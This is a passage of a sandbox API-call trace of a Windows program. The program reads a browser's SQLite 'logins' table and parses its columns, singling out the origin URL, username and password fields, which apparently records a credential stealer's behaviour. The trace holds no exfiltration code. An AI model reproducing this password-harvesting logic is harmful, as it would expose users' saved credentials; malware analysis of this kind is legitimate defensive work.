(uFlags=0x40, uBytes=0x8d) returned 0x665780 [0079.483] LocalFree (hMem=0x6687b0) returned 0x0 [0079.483] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x6687b0 [0079.483] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.483] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.483] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.483] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x6, pcbRead=0x12f950 | out: pv=0x6687b0*=0x6c, pcbRead=0x12f950*=0x6) returned 0x0 [0079.483] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x6643e8 [0079.483] LocalFree (hMem=0x6687b0) returned 0x0 [0079.483] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x6687b0 [0079.483] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.483] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.483] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x12, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.483] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x6, pcbRead=0x12f950 | out: pv=0x6687b0*=0x6c, pcbRead=0x12f950*=0x6) returned 0x0 [0079.483] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x664480 [0079.483] LocalFree (hMem=0x6687b0) returned 0x0 [0079.483] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.483] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.483] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x18, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.483] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f96f, cb=0x1, pcbRead=0x12f93c | out: pv=0x12f96f*=0x4, pcbRead=0x12f93c*=0x1) returned 0x0 [0079.483] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664350 [0079.483] LocalAlloc (uFlags=0x40, uBytes=0x312) returned 0x650450 [0079.483] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.483] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.484] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x19, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.484] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x650450, cb=0x292, pcbRead=0x12f950 | out: pv=0x650450*=0x43, pcbRead=0x12f950*=0x292) returned 0x0 [0079.484] LocalAlloc (uFlags=0x40, uBytes=0x31a) returned 0x6522a8 [0079.484] LocalFree (hMem=0x650450) returned 0x0 [0079.484] LocalFree (hMem=0x670cd8) returned 0x0 [0079.484] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.484] lstrcmpiA (lpString1="logins", lpString2="logins") returned 0 [0079.484] lstrcmpA (lpString1="table", lpString2="table") returned 0 [0079.484] StrStrIA (lpFirst="CREATE TABLE logins (origin_url VARCHAR NOT NULL, action_url VARCHAR, username_element VARCHAR, username_value VARCHAR, password_element VARCHAR, password_value BLOB, submit_element VARCHAR, signon_realm VARCHAR NOT NULL, preferred INTEGER NOT NULL, date_created INTEGER NOT NULL, blacklisted_by_user INTEGER NOT NULL, scheme INTEGER NOT NULL, password_type INTEGER, possible_usernames BLOB, times_used INTEGER, form_data BLOB, date_synced INTEGER, display_name VARCHAR, icon_url VARCHAR, federation_url VARCHAR, skip_zero_click INTEGER, generation_upload_status INTEGER, UNIQUE (origin_url, username_element, username_value, password_element, signon_realm))", lpSrch="(") returned="(origin_url VARCHAR NOT NULL, action_url VARCHAR, username_element VARCHAR, username_value VARCHAR, password_element VARCHAR, password_value BLOB, submit_element VARCHAR, signon_realm VARCHAR NOT NULL, preferred INTEGER NOT NULL, date_created INTEGER NOT NULL, blacklisted_by_user INTEGER NOT NULL, scheme INTEGER NOT NULL, password_type INTEGER, possible_usernames BLOB, times_used INTEGER, form_data BLOB, date_synced INTEGER, display_name VARCHAR, icon_url VARCHAR, federation_url VARCHAR, skip_zero_click INTEGER, generation_upload_status INTEGER, UNIQUE (origin_url, username_element, username_value, password_element, signon_realm))" [0079.484] StrStrIA (lpFirst="origin_url VARCHAR NOT NULL, action_url VARCHAR, username_element VARCHAR, username_value VARCHAR, password_element VARCHAR, password_value BLOB, submit_element VARCHAR, signon_realm VARCHAR NOT NULL, preferred INTEGER NOT NULL, date_created INTEGER NOT NULL, blacklisted_by_user INTEGER NOT NULL, scheme INTEGER NOT NULL, password_type INTEGER, possible_usernames BLOB, times_used INTEGER, form_data BLOB, date_synced INTEGER, display_name VARCHAR, icon_url VARCHAR, federation_url VARCHAR, skip_zero_click INTEGER, generation_upload_status INTEGER, UNIQUE (origin_url, username_element, username_value, password_element, signon_realm))", lpSrch=")") returned="))" [0079.484] lstrlenA (lpString="origin_url VARCHAR NOT NULL") returned 27 [0079.484] StrStrIA (lpFirst="origin_url VARCHAR NOT NULL", lpSrch=" ") returned=" VARCHAR NOT NULL" [0079.484] lstrlenA (lpString="origin_url") returned 10 [0079.484] lstrcmpiA (lpString1="CONSTRAINT", lpString2="origin_url") returned -1 [0079.484] lstrcmpiA (lpString1="PRIMARY", lpString2="origin_url") returned 1 [0079.484] lstrcmpiA (lpString1="UNIQUE", lpString2="origin_url") returned 1 [0079.484] lstrcmpiA (lpString1="CHECK", lpString2="origin_url") returned -1 [0079.484] lstrcmpiA (lpString1="FOREIGN", lpString2="origin_url") returned -1 [0079.484] lstrlenA (lpString="origin_url") returned 10 [0079.484] lstrcmpiA (lpString1="origin_url", lpString2="origin_url") returned 0 [0079.484] lstrcmpiA (lpString1="origin_url", lpString2="password_value") returned -1 [0079.484] lstrcmpiA (lpString1="origin_url", lpString2="username_value") returned -1 [0079.484] lstrlenA (lpString="action_url VARCHAR") returned 18 [0079.484] StrStrIA (lpFirst="action_url VARCHAR", lpSrch=" ") returned=" VARCHAR" [0079.484] lstrlenA (lpString="action_url") returned 10 [0079.484] lstrcmpiA (lpString1="CONSTRAINT", lpString2="action_url") returned 1 [0079.484] lstrcmpiA (lpString1="PRIMARY", lpString2="action_url") returned 1 [0079.484] lstrcmpiA (lpString1="UNIQUE", lpString2="action_url") returned 1 [0079.484] lstrcmpiA (lpString1="CHECK", lpString2="action_url") returned 1 [0079.484] lstrcmpiA (lpString1="FOREIGN", lpString2="action_url") returned 1 [0079.484] lstrlenA (lpString="action_url") returned 10 [0079.485] lstrcmpiA (lpString1="action_url", lpString2="origin_url") returned -1 [0079.485] lstrcmpiA (lpString1="action_url", lpString2="password_value") returned -1 [0079.485] lstrcmpiA (lpString1="action_url", lpString2="username_value") returned -1 [0079.485] lstrlenA (lpString="username_element VARCHAR") returned 24 [0079.485] StrStrIA (lpFirst="username_element VARCHAR", lpSrch=" ") returned=" VARCHAR" [0079.485] lstrlenA (lpString="username_element") returned 16 [0079.485] lstrcmpiA (lpString1="CONSTRAINT", lpString2="username_element") returned -1 [0079.485] lstrcmpiA (lpString1="PRIMARY", lpString2="username_element") returned -1 [0079.485] lstrcmpiA (lpString1="UNIQUE", lpString2="username_element") returned -1 [0079.485] lstrcmpiA (lpString1="CHECK", lpString2="username_element") returned -1 [0079.485] lstrcmpiA (lpString1="FOREIGN", lpString2="username_element") returned -1 [0079.485] lstrlenA (lpString="username_element") returned 16 [0079.485] lstrcmpiA (lpString1="username_element", lpString2="origin_url") returned 1 [0079.485] lstrcmpiA (lpString1="username_element", lpString2="password_value") returned 1 [0079.485] lstrcmpiA (lpString1="username_element", lpString2="username_value") returned -1 [0079.485] lstrlenA (lpString="username_value VARCHAR") returned 22 [0079.485] StrStrIA (lpFirst="username_value VARCHAR", lpSrch=" ") returned=" VARCHAR" [0079.485] lstrlenA (lpString="username_value") returned 14 [0079.485] lstrcmpiA (lpString1="CONSTRAINT", lpString2="username_value") returned -1 [0079.485] lstrcmpiA (lpString1="PRIMARY", lpString2="username_value") returned -1 [0079.485] lstrcmpiA (lpString1="UNIQUE", lpString2="username_value") returned -1 [0079.485] lstrcmpiA (lpString1="CHECK", lpString2="username_value") returned -1 [0079.485] lstrcmpiA (lpString1="FOREIGN", lpString2="username_value") returned -1 [0079.485] lstrlenA (lpString="username_value") returned 14 [0079.485] lstrcmpiA (lpString1="username_value", lpString2="origin_url") returned 1 [0079.485] lstrcmpiA (lpString1="username_value", lpString2="password_value") returned 1 [0079.485] lstrcmpiA (lpString1="username_value", lpString2="username_value") returned 0 [0079.485] lstrlenA (lpString="password_element VARCHAR") returned 24 [0079.485] StrStrIA (lpFirst="password_element VARCHAR", lpSrch=" ") returned=" VARCHAR" [0079.485] lstrlenA (lpString="password_element") returned 16 [0079.485] lstrcmpiA (lpString1="CONSTRAINT", lpString2="password_element") returned -1 [0079.485] lstrcmpiA (lpString1="PRIMARY", lpString2="password_element") returned 1 [0079.485] lstrcmpiA (lpString1="UNIQUE", lpString2="password_element") returned 1 [0079.485] lstrcmpiA (lpString1="CHECK", lpString2="password_element") returned -1 [0079.485] lstrcmpiA (lpString1="FOREIGN", lpString2="password_element") returned -1 [0079.485] lstrlenA (lpString="password_element") returned 16 [0079.485] lstrcmpiA (lpString1="password_element", lpString2="origin_url") returned 1 [0079.485] lstrcmpiA (lpString1="password_element", lpString2="password_value") returned -1 [0079.485] lstrcmpiA (lpString1="password_element", lpString2="username_value") returned -1 [0079.485] lstrlenA (lpString="password_value BLOB") returned 19 [0079.486] StrStrIA (lpFirst="password_value BLOB", lpSrch=" ") returned=" BLOB" [0079.486] lstrlenA (lpString="password_value") returned 14 [0079.486] lstrcmpiA (lpString1="CONSTRAINT", lpString2="password_value") returned -1 [0079.486] lstrcmpiA (lpString1="PRIMARY", lpString2="password_value") returned 1 [0079.486] lstrcmpiA (lpString1="UNIQUE", lpString2="password_value") returned 1 [0079.486] lstrcmpiA (lpString1="CHECK", lpString2="password_value") returned -1 [0079.486] lstrcmpiA (lpString1="FOREIGN", lpString2="password_value") returned -1 [0079.486] lstrlenA (lpString="password_value") returned 14 [0079.486] lstrcmpiA (lpString1="password_value", lpString2="origin_url") returned 1 [0079.486] lstrcmpiA (lpString1="password_value", lpString2="password_value") returned 0 [0079.486] lstrcmpiA (lpString1="password_value", lpString2="username_value") returned -1 [0079.486] lstrlenA (lpString="submit_element VARCHAR") returned 22 [0079.486] StrStrIA (lpFirst="submit_element VARCHAR", lpSrch=" ") returned=" VARCHAR" [0079.486] lstrlenA (lpString="submit_element") returned 14 [0079.486] lstrcmpiA (lpString1="CONSTRAINT", lpString2="submit_element") returned -1 [0079.486] lstrcmpiA (lpString1="PRIMARY", lpString2="submit_element") returned -1 [0079.486] lstrcmpiA (lpString1="UNIQUE", lpString2="submit_element") returned 1 [0079.486] lstrcmpiA (lpString1="CHECK", lpString2="submit_element") returned -1 [0079.486] lstrcmpiA (lpString1="FOREIGN", lpString2="submit_element") returned -1 [0079.486] lstrlenA (lpString="submit_element") returned 14 [0079.486] lstrcmpiA (lpString1="submit_element", lpString2="origin_url") returned 1 [0079.486] lstrcmpiA (lpString1="submit_element", lpString2="password_value") returned 1 [0079.486] lstrcmpiA (lpString1="submit_element", lpString2="username_value") returned -1 [0079.486] lstrlenA (lpString="signon_realm VARCHAR NOT NULL") returned 29 [0079.486] StrStrIA (lpFirst="signon_realm VARCHAR NOT NULL", lpSrch=" ") returned=" VARCHAR NOT NULL" [0079.486] lstrlenA (lpString="signon_realm") returned 12 [0079.486] lstrcmpiA (lpString1="CONSTRAINT", lpString2="signon_realm") returned -1 [0079.486] lstrcmpiA (lpString1="PRIMARY", lpString2="signon_realm") returned -1 [0079.486] lstrcmpiA (lpString1="UNIQUE", lpString2="signon_realm") returned 1 [0079.486] lstrcmpiA (lpString1="CHECK", lpString2="signon_realm") returned -1 [0079.486] lstrcmpiA (lpString1="FOREIGN", lpString2="signon_realm") returned -1 [0079.486] lstrlenA (lpString="signon_realm") returned 12 [0079.486] lstrcmpiA (lpString1="signon_realm", lpString2="origin_url") returned 1 [0079.486] lstrcmpiA (lpString1="signon_realm", lpString2="password_value") returned 1 [0079.486] lstrcmpiA (lpString1="signon_realm", lpString2="username_value") returned -1 [0079.486] lstrlenA (lpString="preferred INTEGER NOT NULL") returned 26 [0079.486] StrStrIA (lpFirst="preferred INTEGER NOT NULL", lpSrch=" ") returned=" INTEGER NOT NULL" [0079.486] lstrlenA (lpString="preferred") returned 9 [0079.486] lstrcmpiA (lpString1="CONSTRAINT", lpString2="preferred") returned -1 [0079.487] lstrcmpiA (lpString1="PRIMARY", lpString2="preferred") returned 1 [0079.487] lstrcmpiA (lpString1="UNIQUE", lpString2="preferred") returned 1 [0079.487] lstrcmpiA (lpString1="CHECK", lpString2="preferred") returned -1 [0079.487] lstrcmpiA (lpString1="FOREIGN", lpString2="preferred") returned -1 [0079.487] lstrlenA (lpString="preferred") returned 9 [0079.487] lstrcmpiA (lpString1="preferred", lpString2="origin_url") returned 1 [0079.487] lstrcmpiA (lpString1="preferred", lpString2="password_value") returned 1 [0079.487] lstrcmpiA (lpString1="preferred", lpString2="username_value") returned -1 [0079.487] lstrlenA (lpString="date_created INTEGER NOT NULL") returned 29 [0079.487] StrStrIA (lpFirst="date_created INTEGER NOT NULL", lpSrch=" ") returned=" INTEGER NOT NULL" [0079.487] lstrlenA (lpString="date_created") returned 12 [0079.487] lstrcmpiA (lpString1="CONSTRAINT", lpString2="date_created") returned -1 [0079.487] lstrcmpiA (lpString1="PRIMARY", lpString2="date_created") returned 1 [0079.487] lstrcmpiA (lpString1="UNIQUE", lpString2="date_created") returned 1 [0079.487] lstrcmpiA (lpString1="CHECK", lpString2="date_created") returned -1 [0079.487] lstrcmpiA (lpString1="FOREIGN", lpString2="date_created") returned 1 [0079.487] lstrlenA (lpString="date_created") returned 12 [0079.487] lstrcmpiA (lpString1="date_created", lpString2="origin_url") returned -1 [0079.487] lstrcmpiA (lpString1="date_created", lpString2="password_value") returned -1 [0079.487] lstrcmpiA (lpString1="date_created", lpString2="username_value") returned -1 [0079.487] lstrlenA (lpString="blacklisted_by_user INTEGER NOT NULL") returned 36 [0079.487] StrStrIA (lpFirst="blacklisted_by_user INTEGER NOT NULL", lpSrch=" ") returned=" INTEGER NOT NULL" [0079.487] lstrlenA (lpString="blacklisted_by_user") returned 19 [0079.487] lstrcmpiA (lpString1="CONSTRAINT", lpString2="blacklisted_by_user") returned 1 [0079.487] lstrcmpiA (lpString1="PRIMARY", lpString2="blacklisted_by_user") returned 1 [0079.487] lstrcmpiA (lpString1="UNIQUE", lpString2="blacklisted_by_user") returned 1 [0079.487] lstrcmpiA (lpString1="CHECK", lpString2="blacklisted_by_user") returned 1 [0079.487] lstrcmpiA (lpString1="FOREIGN", lpString2="blacklisted_by_user") returned 1 [0079.487] lstrlenA (lpString="blacklisted_by_user") returned 19 [0079.487] lstrcmpiA (lpString1="blacklisted_by_user", lpString2="origin_url") returned -1 [0079.487] lstrcmpiA (lpString1="blacklisted_by_user", lpString2="password_value") returned -1 [0079.487] lstrcmpiA (lpString1="blacklisted_by_user", lpString2="username_value") returned -1 [0079.487] lstrlenA (lpString="scheme INTEGER NOT NULL") returned 23 [0079.487] StrStrIA (lpFirst="scheme INTEGER NOT NULL", lpSrch=" ") returned=" INTEGER NOT NULL" [0079.487] lstrlenA (lpString="scheme") returned 6 [0079.487] lstrcmpiA (lpString1="CONSTRAINT", lpString2="scheme") returned -1 [0079.487] lstrcmpiA (lpString1="PRIMARY", lpString2="scheme") returned -1 [0079.487] lstrcmpiA (lpString1="UNIQUE", lpString2="scheme") returned 1 [0079.487] lstrcmpiA (lpString1="CHECK", lpString2="scheme") returned -1 [0079.487] lstrcmpiA (lpString1="FOREIGN", lpString2="scheme") returned -1 [0079.488] lstrlenA (lpString="scheme") returned 6 [0079.488] lstrcmpiA (lpString1="scheme", lpString2="origin_url") returned 1 [0079.488] lstrcmpiA (lpString1="scheme", lpString2="password_value") returned 1 [0079.488] lstrcmpiA (lpString1="scheme", lpString2="username_value") returned -1 [0079.488] lstrlenA (lpString="password_type INTEGER") returned 21 [0079.488] StrStrIA (lpFirst="password_type INTEGER", lpSrch=" ") returned=" INTEGER" [0079.488] lstrlenA (lpString="password_type") returned 13 [0079.488] lstrcmpiA (lpString1="CONSTRAINT", lpString2="password_type") returned -1 [0079.488] lstrcmpiA (lpString1="PRIMARY", lpString2="password_type") returned 1 [0079.488] lstrcmpiA (lpString1="UNIQUE", lpString2="password_type") returned 1 [0079.488] lstrcmpiA (lpString1="CHECK", lpString2="password_type") returned -1 [0079.488] lstrcmpiA (lpString1="FOREIGN", lpString2="password_type") returned -1 [0079.488] lstrlenA (lpString="password_type") returned 13 [0079.488] lstrcmpiA (lpString1="password_type", lpString2="origin_url") returned 1 [0079.488] lstrcmpiA (lpString1="password_type", lpString2="password_value") returned -1 [0079.488] lstrcmpiA (lpString1="password_type", lpString2="username_value") returned -1 [0079.488] lstrlenA (lpString="possible_usernames BLOB") returned 23 [0079.488] StrStrIA (lpFirst="possible_usernames BLOB", lpSrch=" ") returned=" BLOB" [0079.488] lstrlenA (lpString="possible_usernames") returned 18 [0079.488] lstrcmpiA (lpString1="CONSTRAINT", lpString2="possible_usernames") returned -1 [0079.488] lstrcmpiA (lpString1="PRIMARY", lpString2="possible_usernames") returned 1 [0079.488] lstrcmpiA (lpString1="UNIQUE", lpString2="possible_usernames") returned 1 [0079.488] lstrcmpiA (lpString1="CHECK", lpString2="possible_usernames") returned -1 [0079.488] lstrcmpiA (lpString1="FOREIGN", lpString2="possible_usernames") returned -1 [0079.488] lstrlenA (lpString="possible_usernames") returned 18 [0079.488] lstrcmpiA (lpString1="possible_usernames", lpString2="origin_url") returned 1 [0079.488] lstrcmpiA (lpString1="possible_usernames", lpString2="password_value") returned 1 [0079.488] lstrcmpiA (lpString1="possible_usernames", lpString2="username_value") returned -1 [0079.488] lstrlenA (lpString="times_used INTEGER") returned 18 [0079.488] StrStrIA (lpFirst="times_used INTEGER", lpSrch=" ") returned=" INTEGER" [0079.488] lstrlenA (lpString="times_used") returned 10 [0079.488] lstrcmpiA (lpString1="CONSTRAINT", lpString2="times_used") returned -1 [0079.488] lstrcmpiA (lpString1="PRIMARY", lpString2="times_used") returned -1 [0079.488] lstrcmpiA (lpString1="UNIQUE", lpString2="times_used") returned 1 [0079.488] lstrcmpiA (lpString1="CHECK", lpString2="times_used") returned -1 [0079.488] lstrcmpiA (lpString1="FOREIGN", lpString2="times_used") returned -1 [0079.488] lstrlenA (lpString="times_used") returned 10 [0079.488] lstrcmpiA (lpString1="times_used", lpString2="origin_url") returned 1 [0079.489] lstrcmpiA (lpString1="times_used", lpString2="password_value") returned 1 [0079.489] lstrcmpiA (lpString1="times_used", lpString2="username_value") returned -1 [0079.489] lstrlenA (lpString="form_data BLOB") returned 14 [0079.489] StrStrIA (lpFirst="form_data BLOB", lpSrch=" ") returned=" BLOB" [0079.489] lstrlenA (lpString="form_data") returned 9 [0079.489] lstrcmpiA (lpString1="CONSTRAINT", lpString2="form_data") returned -1 [0079.489] lstrcmpiA (lpString1="PRIMARY", lpString2="form_data") returned 1 [0079.489] lstrcmpiA (lpString1="UNIQUE", lpString2="form_data") returned 1 [0079.489] lstrcmpiA (lpString1="CHECK", lpString2="form_data") returned -1 [0079.489] lstrcmpiA (lpString1="FOREIGN", lpString2="form_data") returned -1 [0079.489] lstrlenA (lpString="form_data") returned 9 [0079.489] lstrcmpiA (lpString1="form_data", lpString2="origin_url") returned -1 [0079.489] lstrcmpiA (lpString1="form_data", lpString2="password_value") returned -1 [0079.489] lstrcmpiA (lpString1="form_data", lpString2="username_value") returned -1 [0079.489] lstrlenA (lpString="date_synced INTEGER") returned 19 [0079.489] StrStrIA (lpFirst="date_synced INTEGER", lpSrch=" ") returned=" INTEGER" [0079.489] lstrlenA (lpString="date_synced") returned 11 [0079.489] lstrcmpiA (lpString1="CONSTRAINT", lpString2="date_synced") returned -1 [0079.489] lstrcmpiA (lpString1="PRIMARY", lpString2="date_synced") returned 1 [0079.489] lstrcmpiA (lpString1="UNIQUE", lpString2="date_synced") returned 1 [0079.489] lstrcmpiA (lpString1="CHECK", lpString2="date_synced") returned -1 [0079.489] lstrcmpiA (lpString1="FOREIGN", lpString2="date_synced") returned 1 [0079.489] lstrlenA (lpString="date_synced") returned 11 [0079.489] lstrcmpiA (lpString1="date_synced", lpString2="origin_url") returned -1 [0079.489] lstrcmpiA (lpString1="date_synced", lpString2="password_value") returned -1 [0079.489] lstrcmpiA (lpString1="date_synced", lpString2="username_value") returned -1 [0079.489] lstrlenA (lpString="display_name VARCHAR") returned 20 [0079.489] StrStrIA (lpFirst="display_name VARCHAR", lpSrch=" ") returned=" VARCHAR" [0079.489] lstrlenA (lpString="display_name") returned 12 [0079.489] lstrcmpiA (lpString1="CONSTRAINT", lpString2="display_name") returned -1 [0079.489] lstrcmpiA (lpString1="PRIMARY", lpString2="display_name") returned 1 [0079.489] lstrcmpiA (lpString1="UNIQUE", lpString2="display_name") returned 1 [0079.489] lstrcmpiA (lpString1="CHECK", lpString2="display_name") returned -1 [0079.489] lstrcmpiA (lpString1="FOREIGN", lpString2="display_name") returned 1 [0079.489] lstrlenA (lpString="display_name") returned 12 [0079.489] lstrcmpiA (lpString1="display_name", lpString2="origin_url") returned -1 [0079.489] lstrcmpiA (lpString1="display_name", lpString2="password_value") returned -1 [0079.489] lstrcmpiA (lpString1="display_name", lpString2="username_value") returned -1 [0079.489] lstrlenA (lpString="icon_url VARCHAR") returned 16 [0079.489] StrStrIA (lpFirst="icon_url VARCHAR", lpSrch=" ") returned=" VARCHAR" [0079.490] lstrlenA (lpString="icon_url") returned 8 [0079.490] lstrcmpiA (lpString1="CONSTRAINT", lpString2="icon_url") returned -1 [0079.490] lstrcmpiA (lpString1="PRIMARY", lpString2="icon_url") returned 1 [0079.490] lstrcmpiA (lpString1="UNIQUE", lpString2="icon_url") returned 1 [0079.490] lstrcmpiA (lpString1="CHECK", lpString2="icon_url") returned -1 [0079.490] lstrcmpiA (lpString1="FOREIGN", lpString2="icon_url") returned -1 [0079.490] lstrlenA (lpString="icon_url") returned 8 [0079.490] lstrcmpiA (lpString1="icon_url", lpString2="origin_url") returned -1 [0079.490] lstrcmpiA (lpString1="icon_url", lpString2="password_value") returned -1 [0079.490] lstrcmpiA (lpString1="icon_url", lpString2="username_value") returned -1 [0079.490] lstrlenA (lpString="federation_url VARCHAR") returned 22 [0079.490] StrStrIA (lpFirst="federation_url VARCHAR", lpSrch=" ") returned=" VARCHAR" [0079.490] lstrlenA (lpString="federation_url") returned 14 [0079.490] lstrcmpiA (lpString1="CONSTRAINT", lpString2="federation_url") returned -1 [0079.490] lstrcmpiA (lpString1="PRIMARY", lpString2="federation_url") returned 1 [0079.490] lstrcmpiA (lpString1="UNIQUE", lpString2="federation_url") returned 1 [0079.490] lstrcmpiA (lpString1="CHECK", lpString2="federation_url") returned -1 [0079.490] lstrcmpiA (lpString1="FOREIGN", lpString2="federation_url") returned 1 [0079.490] lstrlenA (lpString="federation_url") returned 14 [0079.490] lstrcmpiA (lpString1="federation_url", lpString2="origin_url") returned -1 [0079.490] lstrcmpiA (lpString1="federation_url", lpString2="password_value") returned -1 [0079.490] lstrcmpiA (lpString1="federation_url", lpString2="username_value") returned -1 [0079.490] lstrlenA (lpString="skip_zero_click INTEGER") returned 23 [0079.490] StrStrIA (lpFirst="skip_zero_click INTEGER", lpSrch=" ") returned=" INTEGER" [0079.490] lstrlenA (lpString="skip_zero_click") returned 15 [0079.490] lstrcmpiA (lpString1="CONSTRAINT", lpString2="skip_zero_click") returned -1 [0079.490] lstrcmpiA (lpString1="PRIMARY", lpString2="skip_zero_click") returned -1 [0079.490] lstrcmpiA (lpString1="UNIQUE", lpString2="skip_zero_click") returned 1 [0079.490] lstrcmpiA (lpString1="CHECK", lpString2="skip_zero_click") returned -1 [0079.490] lstrcmpiA (lpString1="FOREIGN", lpString2="skip_zero_click") returned -1 [0079.490] lstrlenA (lpString="skip_zero_click") returned 15 [0079.490] lstrcmpiA (lpString1="skip_zero_click", lpString2="origin_url") returned 1 [0079.490] lstrcmpiA (lpString1="skip_zero_click", lpString2="password_value") returned 1 [0079.490] lstrcmpiA (lpString1="skip_zero_click", lpString2="username_value") returned -1 [0079.490] lstrlenA (lpString="generation_upload_status INTEGER") returned 32 [0079.490] StrStrIA (lpFirst="generation_upload_status INTEGER", lpSrch=" ") returned=" INTEGER" [0079.490] lstrlenA (lpString="generation_upload_status") returned 24 [0079.490] lstrcmpiA (lpString1="CONSTRAINT", lpString2="generation_upload_status") returned -1 [0079.490] lstrcmpiA (lpString1="PRIMARY", lpString2="generation_upload_status") returned 1 [0079.490] lstrcmpiA (lpString1="UNIQUE", lpString2="generation_upload_status") returned 1 [0079.491] lstrcmpiA (lpString1="CHECK", lpString2="generation_upload_status") returned -1 [0079.491] lstrcmpiA (lpString1="FOREIGN", lpString2="generation_upload_status") returned -1 [0079.491] lstrlenA (lpString="generation_upload_status") returned 24 [0079.491] lstrcmpiA (lpString1="generation_upload_status", lpString2="origin_url") returned -1 [0079.491] lstrcmpiA (lpString1="generation_upload_status", lpString2="password_value") returned -1 [0079.491] lstrcmpiA (lpString1="generation_upload_status", lpString2="username_value") returned -1 [0079.491] lstrlenA (lpString="UNIQUE (origin_url") returned 18 [0079.491] StrStrIA (lpFirst="UNIQUE (origin_url", lpSrch=" ") returned=" (origin_url" [0079.491] lstrlenA (lpString="UNIQUE") returned 6 [0079.491] lstrcmpiA (lpString1="CONSTRAINT", lpString2="UNIQUE") returned -1 [0079.491] lstrcmpiA (lpString1="PRIMARY", lpString2="UNIQUE") returned -1 [0079.491] lstrcmpiA (lpString1="UNIQUE", lpString2="UNIQUE") returned 0 [0079.491] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x1800, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.491] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.491] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.491] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x1800, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.491] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f94b, cb=0x1, pcbRead=0x12f918 | out: pv=0x12f94b*=0xd, pcbRead=0x12f918*=0x1) returned 0x0 [0079.491] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.491] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.491] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x1801, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.491] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f94a, cb=0x2, pcbRead=0x12f918 | out: pv=0x12f94a*=0x0, pcbRead=0x12f918*=0x2) returned 0x0 [0079.491] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.491] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.492] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x1803, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.492] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f94a, cb=0x2, pcbRead=0x12f918 | out: pv=0x12f94a*=0x0, pcbRead=0x12f918*=0x2) returned 0x0 [0079.492] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.492] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.492] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x1805, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.492] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f94a, cb=0x2, pcbRead=0x12f918 | out: pv=0x12f94a*=0x8, 